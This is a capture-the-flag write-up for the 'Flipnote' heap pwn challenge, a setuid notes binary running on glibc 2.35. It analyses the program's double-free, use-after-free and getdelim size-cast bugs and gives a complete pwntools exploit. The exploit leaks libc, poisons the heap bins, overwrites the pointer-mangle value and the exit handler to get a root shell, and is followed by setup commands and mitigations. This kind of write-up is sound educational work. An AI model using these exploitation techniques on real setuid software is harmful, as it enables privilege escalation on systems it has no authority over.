Flipnote

Category: Pwn
Difficulty: Hard
Author: Localo
Writeup by: argator

Description

```
I was unable to come up with an interesting vulnerability, so instead I just
cheated like all the hardware hackers do and used a laser instead. Have fun ;)
```

Summary

The challenge provides the source code together with the compiled binary and the Dockersetup.
We don't get a port and a domain to connect to the service 'vuln' but instead we get a ssh connection to some server.
The challenge is on a standard Ubuntu setup, and while we are restricted in the installed commands, as wget, curl and python etc. aren't installed, we see three "unusual files":

- ynetd
- /flag
- /vuln

ynetd will be useful later.
`/flag` is obviously not accessible to non-root users.
And `/vuln` has the suid bit set, allowing to run the binary with root rights.

As it is a pwn chall, let's check the libc version, that is installed on the system:
`ldd /vuln` and `/lib/x86_64-linux-gnu/libc.so.6 --version` reveal, that GLIBC 2.35 is installed.

Binary

Running `checksec` on the binary, we can see that all common security mechanisms are enabled but it is compiled with debug symbols.

Program features

Running the binary shows, that the program implements a notes server with the following abilities:

- a : add a note
- e : edit a note
- f : flip a note
- r : remove a note
- q : quit the program

The *flip a note* ability is quite unique and was already mentioned in title and description.
It allows you to use a "laser" to flip (xor with 1) one single bit of the first 8 bytes of the note.
Unfortunately the "laser will break and terminate the program" after the second time, so this feature can be used only **twice**.

Source Code

The first thing to note are the last two lines in the main function:

```
free(line_buf);
return 0;
```

Heap ?

→ There is a free even though there is no **(c/m/re)alloc** in the code.

The *remove function* also uses **free** to "remove" our note.
So this chall is about the Heap.

→ Additionally the return statement is the only one in this main function.
All invalid inputs and also the q ability will use exit() to quit the program instead of returning from main().

Fun fact: the two lines shown in the image aren't reachable because of an `for( ; ; )` loop without a `break;` statement.

Exit Handler

Still this is quite interesting , because there is registered a custom exit_handler in the beginning of the main function.

```
on_exit(&exit_handler, NULL);
```

This makes sure, that some cleanup function will be called, once the program exits.

UID

Mentioned earlier, the program is running with root priviledges, which essentially sets the UID of the process to root, while the effective user id (EUID) still holds the actual user *ctf*.
Many utilities like the system and also bash will set UID back to EUID if they differ.

Therefore without the following lines of code, getting a call to `system(/bin/sh)` actually wouldn't help at all, as the shell still would have `id = ctf`.

```
if (setuid(0)) {
  puts("Not running as root :(");
}
```

This sets also the EUID to 0 (root).
→ Hence we can actually create a childprocess with root priviledges to read the flag.
Otherwise this call would be required first in the exploit.

IO - Buffering

```
char buf[0x80];
```

```
setvbuf(stdin, buf, _IOFBF, sizeof(buf));
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
```

These lines ensure, that `stdout and stderr` don't buffer, which forbids printf to use the heap to buffer output.

- On the one hand this makes heap fengshui easier, as *printf* won't interfere with "random" allocations
- On the other hand we won't get any easy libc leaks, like the one in the `intro-to-heap challenge`, where printf placed some libc address into a fastbin.

The `stdin` on the other hand is indeed buffered with some buffer of size 0×80 on the stack.
To see why this is important we first have to discuss where the code allocates the heap chunks (that contain our notes).

The **add_note** and also the **readline function**, which is used to read in all input, uses the *getdelim* libc function.

```
getdelim(line_buf, size, '\n', stdin);
```

The `man(3)` page of getdelim shows, that getdelim indeed uses "malloced" ptrs to store the input in `*lineptr`.
`*lineptr` is assumed to hold a malloced ptr or *NULL* (in this case getdelim will call malloc on its own).
It dynamically **reallocates** the given chunk through *realloc*, if the input is larger than the provided size, in this case `*n`.
Further we can see on the same man page, that exactly this call could be written syntacticaly prettier with `readline`, which is the same as getdelim except the delim is fixed to be `\n`.

As in the `vuln.c` code all getdelim calls have `\n` as delimiter, there is probably a difference in the glibc implementation.

So lets summarize what getdelims internal implementation does:

```
1. If some argument ptr is NULL, then abort
2. If *lineptr is NULL or *n==0, then do *lineptr=malloc(0x80); *n = 0x80;
3. define cur_len = 1; // 0 byte
4. While there is still input:
    1. define len = length of input // <= 0x80 , due to buffering
    2. cur_len += len
    2. if cur_len > *n
        1. If cur_len < 2 * (*n):
            tmp_ptr = realloc(*lineptr, 2 * (*n))
        2. Else
            tmp_ptr = realloc(*lineptr, cur_len)
        3. If tmp_ptr == 0 , then abort
        4. *lineptr = ptr
    3. Copy input into *lineptr
```

The cur_len is initialized with 1 to ensure space for the 0 byte, that is *always(!)* added to the end (if there is no **internal error** in this function :)).

With abort is meant returning -1.
Note, that the return type is **ssize_t** , which is essentially a **size_t** (usually unsigned !) with the additional value of -1 or 0xfff...ff indicating an error.

Here are already a lot of interesting points:

- add_note will always call getdelim with `*n=0` therefore trigger a malloc of size *0×80*.
- No matter how much input we provide, the first realloc call will always have at least the size of `2 * *n` and a maximum size of 0×80, as our buffer for buffering input has exaclty this size.
- We can't force some argument ptr to be 0, but maybe we can force realloc to return **NULL**.

The last point would result into returning -1 , while the return value isn't handled correctly: It is assigned to a size_t and therefore would make `*size` 0xfff...f which is obviously larger than the old size, while the chunk contains the old data.

Some further mistakes

As **remove note** and also **flip note** are completely missing to check if the selected note is freed, the program is also vulnerable to

- a double free (remove a note twice)

- UAF (flip a bit after removing a note)

Vulnerabilities

Putting all together we have the following vulnerabilities:

- double free
- UAF (edit a note after fast_dup using the double free or flip a bit of fd of freed note/ chunk)
- Out of Bounds write (using the return of 0xff...ff from getdelim to copy arbitrary sized content into the buffer)

These are all pretty strong attack vectors and not all of them are needed to get RCE.
There are probably thousands of ways to use these to get RCE and also the flip isn't required at all (I solved it first without a flip).
But without the exploit would be much longer or a bruteforce of 2 bits (we will flip the 5th bit while the first 3 are fixed, threfore the edit UAF would require 2 bits of brute forcing) would be required.

Targets

To get RCE we want to call system("/bin/sh")
To get there, we have a few possibilites:

- Overwrite Glibc's `realloc@GOT` and *realloc* a note containing "/bin/sh" (libc has no FULL RELRO)
- Create ROP-chain on stack (requires to leak canary or place chunk exaclty on the return address)
- overwrite exit_handler_function

The last one seems to be the easiest, as it is located in the libc and additionally has no restrictions on Read only memory sections before and after the GOT and also one can set arguments really easy.

The only problem of this method is, that all functions ptrs are mangled in all libc versions `>= glibc 2.32`.
Therefore we have to leak or in this case overwrite also the mangle value, stored in the *tls* in the libc.

The libc also contains the string "/bin/sh" therefore the only leak we need is a libc pointer.
This allows us to create the following rough exploit:

1. leak libc
2. create a note onto the tls and overwrite mangle value
3. create a note onto the exithandler struct and overwrite it

4. quit the program to trigger the exithandler, now holding system("/bin/sh")

The most work here is definetely the libc leak.
Afterwards we can simply make 2 fastbin poisoning attacks, in order to create notes at arbitrary positions, which allows to overwrite the described values, through adding/editing the malicious values into the note.

Exploit

Libc leak

The code has just one line where output is generated, that could potentially leak something.
`puts(line_buf);`

- But this line of code is just executed, after reading in the next operation: `(read_line(&line_buf, &size)[0])`
- As read_line uses getdelim, which always appends a newline, we can only leak data, we didn't just wrote into the line_buf, if we could make getdelim fail to realloc and therefore won't write a 0 byte.
- Realloc will only fail, if there is no memory left to allocate the new chunk!

How to make realloc return 0

As already mentioned we need to limit the available memory, s.t. realloc can't allocate any memory and therefore return NULL.
First of all there is always some memory left in the in the so called top chunk.
Therefore this has to be fully used and not be available for realloc.
We are limited on the number of allocations to the number of notes, which is 16 and also limited to the sizes we can allocate, as the realloced size will always increase with the factor of 2 starting from 0×80 as seen in the getdelim code.
Therefore we have to use the fact, that calloc and realloc won't use tcaches for allocating and therefore realloc won't consider any chunks in tcaches.
The goal is to alloc all available memory from the top chunks and meanwhile not freeing any chunk into fastbin/smallbin/largebin/unsortedbin.

This isn't that hard and needs just a little bit of try and error until you find the correct chunk allocation order.
Now realloc will still use mem to request more memory.

How to limit the overall available memory?

And here *prlimit* will come in handy.
prlimit can start processes with limited virtual adress space or physical memory.
This allows us to start the vuln with limited memory and therefore realloc can't allocate any further chunks.

Here one has to try and error again until you find the right limit, as limiting the program too much, it can't even start or won't drop a shell, as system still needs some memory.

In the end we will get a shell with uid = root, which is still limited in memory and therefore cant call `ls or cat`.
But it has enough memory to call prlimit again, which is required to call from this new shell, as the uid of the whole process is now root and therefore root priviledges are required to change the processes space limit.
This allows to set the limit back to infinity and use the shell now as usual to read the flag: `cat /bin/flag`

How to get libc address into the line_buf

When a chunk is inserted into a unsorted bin, it contains in the forward and backward pointer a pointer that indicates the end and the beginning of the double linked list.
This end is in the libc and therefore a chunk in the unsorted bin list will contain a libc pointer.
To get the chunk in the unsorted bin list, we have to fill the tcache bin of the size 0xa (greater than 0×80 otherwise fastbin) and afterwards free somehow the line_buf.
Then this chunk will be inserted into the unsorted bin list and trying to input a huge amount of input will fail realloc and write the libc address.
Actually the libc address is still safe linked with the address.

- But with a heap leak, achieved through the same mechanism will let us decode this safe linking process
  In order to free the line_buf in first place we have to do a fast_dup attack, to get the a note contained in the same chunk as the line_buf.
- Hence removing the note will also free the line_buf.

As fast_dup only works on sizes `<=0x80` we have to overwrite the size of the chunk after fast_dup to `0xa`.
This can be achieved through a simple fastbin poisoning.
→ Here we use the flipnote vuln, to allocate a chunk immediately before the actual chunk in the fastbin list, as flipping the 5th bit will decrease the address value by 0×10

Final exploit

```
import pwn
import os

limit=0x2cbfff+1
# on docker setup:
# p = pwn.process(['prlimit',f'--rss={limit}',f'--as={limit}','/vuln'])

p = pwn.remote("localhost",12345)
```

```
sizes = []
read_idx = None
n = 0
dummies = {0xa0:[], 0x80:[]}
tar = None
fake = None
heap_leak = None
system = None
binsh = None
mem = None

def getidx():
    i = 0
    while True:
        if i in sizes:
            i += 1
            continue
        sizes.append(i)
        return i

def add(note):
    global n
    n -= 1
    if n-0x12 <= 0:
        n = 0x13
    p.sendlineafter(b'>',(n-0x12) * b'a')
    p.sendlineafter(b'Note: ',note)
    return getidx()

def quit():
    p.sendlineafter(b'>',b'q')

def dec_n():
    global n
    n-=1
    if n - 0x12 <= 0:
        n = 0x13

def edit(idx,note, padding = False):
    global n
    dec_n()
    p.sendlineafter(b'>',(n-0x12) * b'e')

    dec_n()
    p.sendlineafter(b'Index: ',f'{idx}'.encode().rjust(n-0x12,b' '))
```

```
    if not padding:
        p.sendlineafter(b'Note: ',note)
        n = len(note) -1
    else:
        n-=1
        p.sendlineafter(b'Note: ', note + (n-0x12 - len(note))* b'p')

def remove(idx):
    dec_n()
    p.sendlineafter(b'>',(n-0x12) * b'r')

    dec_n()
    p.sendlineafter(b'Index: ',f'{idx}'.encode().rjust(n-0x12,b' '))

    if not idx in sizes:
        print("double free")
        return
    sizes.remove(idx)

def flipnote(idx,byte, bit):
    global n

    n -= 1
    p.sendlineafter(b'>',(n-0x12) * b'f')

    n -= 1
    p.sendlineafter(b'Index: ',f'{idx}'.encode().rjust(n-0x12,b' '))

    n -= 1
    offset = 8 * byte +bit
    p.sendlineafter(b'Offset: ',f'{offset}'.encode().rjust(n-0x12,b' '))




def realloc_lb_helper(i):
    global n
    n = i
    i -= 0x12 # i is the actual chunk size
    p.sendlineafter(b'>',i * b'i') # trigger Invalid Option to don't change
anything else

def realloc_lb(i):
    realloc_lb_helper((i>>1)+0x9)
    realloc_lb_helper(i)


def empty(size, k =7):
```

```
    arr = dummies[size]
    for i in range(k):
        tmp = add((size-0x10) * b'd')
        arr.append(tmp)

def fill(k,size):
    arr = dummies[size]
    for i in range(k):
        remove(arr[i])



def leak_libc():
    global tar, fake
    # fill tcache of size 0xa0
    realloc_lb(7*0xa0+0xd0)
    realloc_lb(6*0xa0+0xd0)
    realloc_lb(5*0xa0+0xd0)
    realloc_lb(4*0xa0+0xd0)
    realloc_lb(3*0xa0+0xd0)
    realloc_lb(2*0xa0+0xd0)
    realloc_lb(1*0xa0+0xd0)
    realloc_lb(0xd0) # force some specific alignment for flip later
    realloc_lb(0xc0)
    realloc_lb(0x90)
    realloc_lb(0x60)
    realloc_lb(0x30)
    realloc_lb(0xa0)
    realloc_lb(0x80)
    flip = add(b'flip')

    # fast dup
    realloc_lb(0xb0) # free target chunk
    tar = add(b'tar') # allocate target chunk

    empty(0x80) # fill tcache
    fill(7,0x80)

    remove(tar) # fill fastbin
    remove(flip)
    remove(tar)

    empty(0x80) # empty tcache

    realloc_lb(0x60) # split 0x100 chunk into chunks smaller than 0x80
    # the next chunk of size 0x80 is the same as tar
    realloc_lb(0x80)
```

```
    # insert dummies, to allocate tar at note index 15, so fake won't overwrite
it later
    empty(0xa0,6)

    flip = add(b"flip") # allocate tar and flip again
    tar = add(b"tar")

    fill(6,0xa0)


    # flip -> tar in tcache
    remove(tar)
    remove(flip)

    # tcache poisoning
    flipnote(flip,0,4)
    flip = add(b'flip')

    realloc_lb(0x80) # increase size var again

    global n, mem
    size = n-0x20
    fake = add(0x8 * b'h'+pwn.p64(0x81) +size * b'h')

    fill(6,0x80) # 7th is now corrupted

    realloc_lb(0x80) # increase size var again
    edit(fake, 0x8 * b'h' +pwn.p64(0xa1),padding = True)


    # now take all available memory
    mem = add((0x1e010 - 0x100)* b'm')
    add((0xf10 - 0x100 )* b'm')
    add((0x790 -0x100 )* b'm')
    add((0x3d0 - 0x100 )* b'm')
    add((0x100 - 0x50)* b'm')
    add((0x100 - 0x50)* b'm')

    remove(tar)
    realloc_lb_helper(0x80)
    leak = pwn.u64(p.recvline().split(b'Invalid option: ')[1]
[:-1].ljust(8,b'\x00'))
    print("libc leak: ",hex(leak))
    return leak

# taken from How2Heap
def dec_safe_linking(cipher):
    key = 0
```

```
    for i in range(1,7):
        bits = 64 - 12 * i
        if bits < 0 :
            bits = 0
        plain = ((cipher ^ key) >> bits) << bits
        key = plain >> 12
        #print(f"round {i}:\n");
        #print(f"key:    {key:#018x}")
        #print(f"plain:  {plain:#018x}")
        #print(f"cipher: {cipher:#018x}")
        #print()
    return plain

def enc_safe_linking(addr, plain):
    return (addr >> 12 )^ plain

def edit_mangle(addr):
    global n
    global heap_leak


    dummi1 = add(b'dummi')
    dummi2 = add(b'dummi')
    edit(fake, 0x8 * b'h' + pwn.p64(0x81)+0x20 * b'h')
    realloc_lb(0x80)
    remove(tar)
    realloc_lb_helper(0x80)

    heap_leak = pwn.u64(p.recvline().split(b'Invalid option: ')[1]
[:-1].ljust(8,b'\x00'))
    heap_leak = dec_safe_linking(heap_leak) - 0x130 -0x80
    print(hex(heap_leak))

    target = enc_safe_linking(heap_leak,addr)
    print(hex(target))

    # dub fast

    remove(9)
    realloc_lb_helper(0x78)
    p.sendlineafter(b'>',0x78 * b'x' + pwn.p64(0x20)+0x18 * b'y' +
pwn.p64(0x80) + pwn.p64(target))


    #zero mangle
    last = add(b'')
    mangle = add(0x18 * b'\x00') # nothing + canary + mangle
    return last
```

```python
def rol(value, shift, bits=64):
    return ((value << shift) | (value >> (bits - shift))) & ((1 << bits) - 1)

def edit_exit_func(addr,idx):
    remove(1)
    remove(idx)

    target = enc_safe_linking(heap_leak,addr)
    realloc_lb_helper(0x78)
    p.sendlineafter(b'>',0x78 * b'x' + pwn.p64(0x20)+0x18 * b'y' +
pwn.p64(0x80) + pwn.p64(target))

    add(b'')
    add(pwn.p64(4) + pwn.p64(rol(system,0x11)) + pwn.p64(binsh))

def main():
    try:
        global system,binsh
        input('start')
        leak = leak_libc()

        system = leak - 0x1ca000
        binsh = system + 0x187908
        exit_func = system + 0x1cb1c0
        execve = system + 0x9a310

        # tls_base + 0x770
        tls_mangle = system - 0x53600

        idx = edit_mangle(tls_mangle)


        edit_exit_func(exit_func,idx)

        # on docker: os.system('prlimit --rss=-1 --as=-1 --pid=$(pidof vuln)')
        input("enter on server: prlimit --rss=-1 --as=-1 --pid=$(pidof vuln)")
        remove(mem)
        p.sendline(b'q')
        p.interactive()
    except EOFError:
        print(p.recvall())

if __name__ == "__main__":
    main()
```

Setup

Now some words in the end to the setup, that is required to execute the exploit.
As said, there is nothing installed on the target server to run the exploit on the server.
One could use base64 to copy python static compiled together with the exploit to the server, but this is a lot of pain I guess.
Therefore we need to connect over ssh to the application.
Even if it sound easy, I struggled some time to achieve this. pwntools has the ability to open a process over ssh, but I couldn't get it to use no authentication method, as the server doesn't take password nor a keyfile.

Therefore we need to forward some ports over ssh.
Locally on the docker it is enough to use just one ssh -L to forward the port of the application running on the server(docker) to some port of localhost.
But the CSCG server will redirect you directly to another ssh server, that's why you actually need to ssh -L to also redirect this port again to another localhost port.
In the end I used the following setup to connnect to the application:

Of course you have to use ynetd to run the application (called from prlimit) on the server on a specific port:

Steps in detail

```
# connect to server
ssh -p 2222 <usr>@<url>

# start this on server
/ynetd -p 1218 "prlimit --as=2977736:-1  /vuln"

# get the ip address or hostname
hostname -I

# execute this local
ssh -p 2222 -L 1234:<ip or hostname>:1024 <user>@<url>
# Now port 1234 on localhost is forwarded to the ssh port of the forwarded
server

ssh -p 1234 -N -L 12345:localhost:1218 ctf@localhost

# python3 exploit.py
nc localhost 12345

# execute this when root shell is dropped:
prlimit --pid=$$ --as=-1
cat /flag
-> CSCG{when_you_cant_find_bugs_you_have_to_cheat_a_little}
```

Mitigation

Remove and flip

- Both should only be usable, if the note is actually present and not freed
- Therefore add the following condition, which is by the way already present for edit_note:

```
if (index >= MAX_NOTES || sizes[index] == 0) {
  puts("Invalid index");
  exit(EXIT_FAILURE);
}
```

Libc version

- Even though it is not a vulnerability, using the newest version often makes exploiting harder and is generally recommended.
- I couldn't get the leak on my system in the beginning, as I have glibc 2.39, which changed some code in `getdelim`
  - therefore realloc will never work again, once it failed
  - this makes the leak actually impossible, even though the other vulns will still be enough to exploit the program

Type casting

- Also pay always attention to the types, that are returned from libc functions.
- Here a **ssize_t** was dynamicaly casted to a **size_t**, which introduces a bug, s.t. size is huge now.
- Therefore always use the right types and check the libc functions for errors:

```
ssize_t size_tmp = getdelim(line_buf, size, '\n', stdin);

if (size_tmp <= 0) {
  puts("Invalid line");
  exit(EXIT_FAILURE);
}
*size=size_tmp;
```